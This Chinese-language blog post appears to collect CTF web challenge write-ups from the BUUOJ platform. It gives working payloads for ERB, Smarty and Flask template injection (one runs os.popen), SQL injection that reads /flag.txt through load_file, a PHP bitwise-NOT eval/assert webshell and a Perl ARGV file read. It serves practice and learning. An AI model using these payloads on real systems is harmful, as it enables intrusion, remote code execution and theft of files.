Contents
- 1 [SCTF2019]Flag Shop
- 2 [CSAWQual 2016]i_got_id
- 3 [CISCN2019 华北赛区 Day1 Web5]CyberPunk
- 4 [CISCN2019 华东南赛区]Web11
- 5 [BSidesCF 2019]Pick Tac Toe
- 6 [Zer0pts2020]Can you guess it?
- 7 [RootersCTF2019]ImgXweb
- 8 [RootersCTF2019]I_ ♥ _Flask
- 9 [GYCTF2020]EasyThinking
- 10 [极客大挑战 2019]RCE ME
- 11 [CISCN2019 华东南赛区]Double Secret
- 12 [GXYCTF2019]StrongestMind
[SCTF2019]Flag Shop
这题考点是erb模板注入,头一次见到这样的题。试一下
打开以后只有三个按钮,挣钱、重置、买flag
然后就没了,扫目录发现robots.txt
/filebak
访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | require 'sinatra' require 'sinatra/cookies' require 'sinatra/json' require 'jwt' require 'securerandom' require 'erb' set :public_folder, File.dirname(__FILE__) + '/static' FLAGPRICE = 1000000000000000000000000000 ENV["SECRET"] = SecureRandom.hex(64) configure do enable :logging file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+") file.sync = true use Rack::CommonLogger, file end get "/" do redirect '/shop', 302 end get "/filebak" do content_type :text erb IO.binread __FILE__ end get "/api/auth" do payload = { uid: SecureRandom.uuid , jkl: 20} auth = JWT.encode payload,ENV["SECRET"] , 'HS256' cookies[:auth] = auth end get "/api/info" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]}) end get "/shop" do erb :shop end get "/work" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } auth = auth[0] unless params[:SECRET].nil? if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}") puts ENV["FLAG"] end end if params[:do] == "#{params[:name][0,7]} is working" then auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10) auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth ERB::new("").result end end post "/shop" do islogin auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' } if auth[0]["jkl"] < FLAGPRICE then json({title: "error",message: "no enough jkl"}) else auth << {flag: ENV["FLAG"]} auth = JWT.encode auth,ENV["SECRET"] , 'HS256' cookies[:auth] = auth json({title: "success",message: "jkl is good thing"}) end end def islogin if cookies[:auth].nil? then redirect to('/shop') end end |
首先抓包解密一下jwt
吧jkl改成1000000000000000000000000000,但是没有秘钥,从哪里搞呢?
查看源码发现,秘钥在cookie中,
名称我们可控,但是限定字符数量
发现使用$对匹配的字符串进行读取
/work?SECRET=&name=<%=$’%>&do=<%=$’%> is working
符号太多,防止报错url编码绕过
成功回显出cooike
之后jwt加密字符串,在buyflag中修改得到的jwt,解密回显的jwt
得到flag
这题真的太顶了,昨天刚刚接触过过jwt类型的题,但是ruby就傻了。还需要好好学习总结
[CSAWQual 2016]i_got_id
打开有有三个页面
文件上传/欢迎页/输入框,输入框fuzz无果、上传文件会直接把文件以文本格式读出
观察url:http://2a2c2513-432b-4de9-862e-51797f6606e1.node3.buuoj.cn/cgi-bin/file.pl
发现pl文件名。
之前做过一道题,(发现是同一道题,那就复习一下吧)
因为上传文件会直接输出文本猜测使用param()函数
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的file变量中。而对于下面的读文件逻辑来说,如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。这样,我们的利用方法就出现了:在正常的上传文件前面加上一个文件上传项ARGV,然后在URL中传入文件路径参数,这样就可以读取任意文件了。
//这里文件上传一定要出现两次且第二次需包含文件名才能把flag带出来
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
注释中有?file=
试一下这几个页面,看一下源码
index:
1 2 3 4 5 6 7 8 9 10 11 | <?php ini_set('open_basedir', '/var/www/html/'); // $file = $_GET["file"]; $file = (isset($_GET['file']) ? $_GET['file'] : null); if (isset($file)){ if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) { echo('no way!'); exit; } @include($file); } |
这编辑器会把html转义,所以只贴php代码
change.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | <?php require_once "config.php"; if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"])) { $msg = ''; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i'; $user_name = $_POST["user_name"]; $address = addslashes($_POST["address"]); $phone = $_POST["phone"]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!'; } else{ $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'"; $fetch = $db->query($sql); } if (isset($fetch) && $fetch->num_rows>0){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id']; $result = $db->query($sql); if(!$result) { echo 'error'; print_r($db->error); exit; } $msg = "订单修改成功"; } else { $msg = "未找到订单!"; } }else { $msg = "信息不全"; } |
delete.php和change差不多,就不放出来了
审计后发现address没有任何过滤直接存入数据库,找到点以后常规注入就可
payload
1′ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),1,20)),0x7e),1)#
1′ where user_id=updatexml(1,concat(0x7e,(select substr(load_file(‘/flag.txt’),20,50)),0x7e),1)#
因为buuflag长不能全部读取,所以截取
[CISCN2019 华东南赛区]Web11
这题打开后是一个
全部都是有关于IP的问题, 并且还给了XFF,构造一下发现XFF可以回显,这里就是利用点了,看看怎么利用
尝试输入{{7+7}},发现计算出来了,是ssti了
因为下面给了build smarty。所以百度看一下他的ssti
smarty ssti 可以发现,
{$smarty.version}可以查看版本号,试了一下确实有回显。版本为3.1.30
{if phpinfo()}{/if}可以执行phpinfo,尝试后确实可以,那么如何读取flag文件呢?
可以发现执行了php代码,那我们能不能用这个语句读取flag’呢
尝试输入{if readfile(‘/flag’)}{/if}
发现确实给了flag
这里有一张图记录如何判断ssti是什么?
CTF SSTI(服务器模板注入) 这个帖子记录了简单的绕过方式
[BSidesCF 2019]Pick Tac Toe
一个井字棋界面,赢了就能获得flag(赢不了)
查看源码后发现每个旗子的位置
我们点击后发现他是上传到服务器旗子位置后作出回应,我们可以不可以一次上传三个位置呢?
试一下
$.post("/move",{move:"b"}); $.post("/move",{move:"br"}); $.post("/move",{move:"bl"});
获得flag
[Zer0pts2020]Can you guess it?
打开后是一个猜数字页面,给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <?php include 'config.php'; // FLAG is defined in config.php if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } $secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } |
hash_equals($secret, $guess) 比较hash是否相等,如果相同输出flag,百度以后发现这个函数没有任何漏洞,上面的正则也很难绕过。那么只能从basename函数处的$_SERVER[‘PHP_SELF’]尝试能不能读文件了
百度后发现,如果输入
http://ha1c9on.top/php/index.php/test/foo?username=ha1c9on $_SERVER['PHP_SELF'] 得到:/php/index.php/test/foo $_SERVER['SCRIPT_NAME'] 得到:/php/index.php $_SERVER['REQUEST_URI'] 得到:/php/index.php/test/foo?username=ha1c9on 从该例子可以看出: 1.$_SERVER['PHP_SELF'] 则反映的是 PHP 程序本身; 2.$_SERVER['SCRIPT_NAME'] 反映的是程序文件本身(这在页面需要指向自己时非常有用); 3.$_SERVER['REQUEST_URI'] 则反映了完整 URL 地址(不包括主机名)。
那么我们现在知道,如果输入index.php/config.php,返回的即为config.php的内容。可是正则过滤了如何绕过呢,我们很容易可以想到%00截断。又因为访问source会返回源码,尝试构造index.php/config.php/%00/?source
发现报错,那么试一下%ff
成功返回flag。
[RootersCTF2019]ImgXweb
考点是JWT伪造。
打开有有注册和登录页面,fuzz一波发现不是sql注入题。注册后发现有上传,各种姿势一个webshell蚁剑连不上,抓包后发现cookie中有类似JWT的加密文字。解密后把user改为user:admin
可是jwt加密需要秘钥。找了半天也没有秘钥,扫一下目录吧!发现robots.txt。给了一个static/secretkey.txt
访问一下就是key了。加密替换cookie刷新就是flag了
[RootersCTF2019]I_ ♥ _Flask
这题不难,flask模板ssti一把梭就行,没有任何过滤。tplmap也能直接用。
难点是如何利用ssti,在哪里传入。这里用了一个工具:arjun,支持GET / POST / JSON方法
Arjun这篇文章详细介绍了如何使用。跑出来为name后,ssti传入读flag就行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==’catch_warnings’ %}{{ c.__init__.__globals__[‘__builtins__’].eval(“__import__(‘os’).popen(‘ls’).read()”) }}{% endif %}{% endfor %}
获得flag
[GYCTF2020]EasyThinking
thinkphp6.0 session漏洞利用
参考:https://www.venustech.com.cn/article/1/11027.html
写入一句话木马后,绕过disable_function读flag即可
[极客大挑战 2019]RCE ME
打开给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } |
过滤了字母和数字,~取反url编码 ?code=(~%8F%97%8F%96%91%99%90)();
看到phpinfo中过滤了一吨函数
我们写一个webshell链接
<?php
error_reporting(0);
$a=’assert’;
$b=urlencode(~$a);
echo $b;
echo “<br>”;
$c='(eval($_POST[cmd]))’;
$d=urlencode(~$c);
echo $d;
?>
发现有disable_function,蚁剑插件可以直接绕过。读flag就可
[CISCN2019 华东南赛区]Double Secret
打开靶机,给了一行文字“Welcome To Find Secret”,访问secret目录。又给了一行文字“Tell me your secret.I will encrypt it so others can’t see”,那我们传入一个数据看看吧,
随便 传入一个数据后,发现返回了一个加密数字
再试试flag.txt,报错了
发现是python2.7写的flask
且有关键处回显代码:
if(secret==None): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure") #解密 deS=rc.do_crypt(secret) a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!' return a Open an interactive python shell in this frame
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | import base64 from urllib import parse def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容 s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox(key): s_box = list(range(256)) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt(plain, box): res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "".join(res) return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) key = "HereIsTreasure" #此处为密文 message = input("请输入明文:\n") enc_base64 = rc4_main( key , message ) enc_init = str(base64.b64decode(enc_base64),'utf-8') enc_url = parse.quote(enc_init) print("rc4加密后的url编码:"+enc_url) #print("rc4加密后的base64编码"+enc_base64) |
随便找一个读文件的flask注入模板cat /flag.txt即可获得flag
[GXYCTF2019]StrongestMind
打开以后是一个计算器的题,和BUGKU的一道题基本一致,脚本拿来改改直接用就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | import requests import re s = requests.Session() r = s.get("http://2d8462cb-00d5-4200-b29a-5aad333f98da.node3.buuoj.cn/index.php") searchObj = re.findall(r'\d+.[+-].\d+', r.text) d = { "answer": eval(searchObj[0]) } r = s.post("http://2d8462cb-00d5-4200-b29a-5aad333f98da.node3.buuoj.cn/index.php", data=d) for i in range(1000): searchObj = re.findall(r'\d+.[+-].\d+', r.text) d = { "answer": eval(searchObj[0]) } #print(d) r = s.post("http://2d8462cb-00d5-4200-b29a-5aad333f98da.node3.buuoj.cn/index.php", data=d) print(r.text) |
跑一会儿就出flag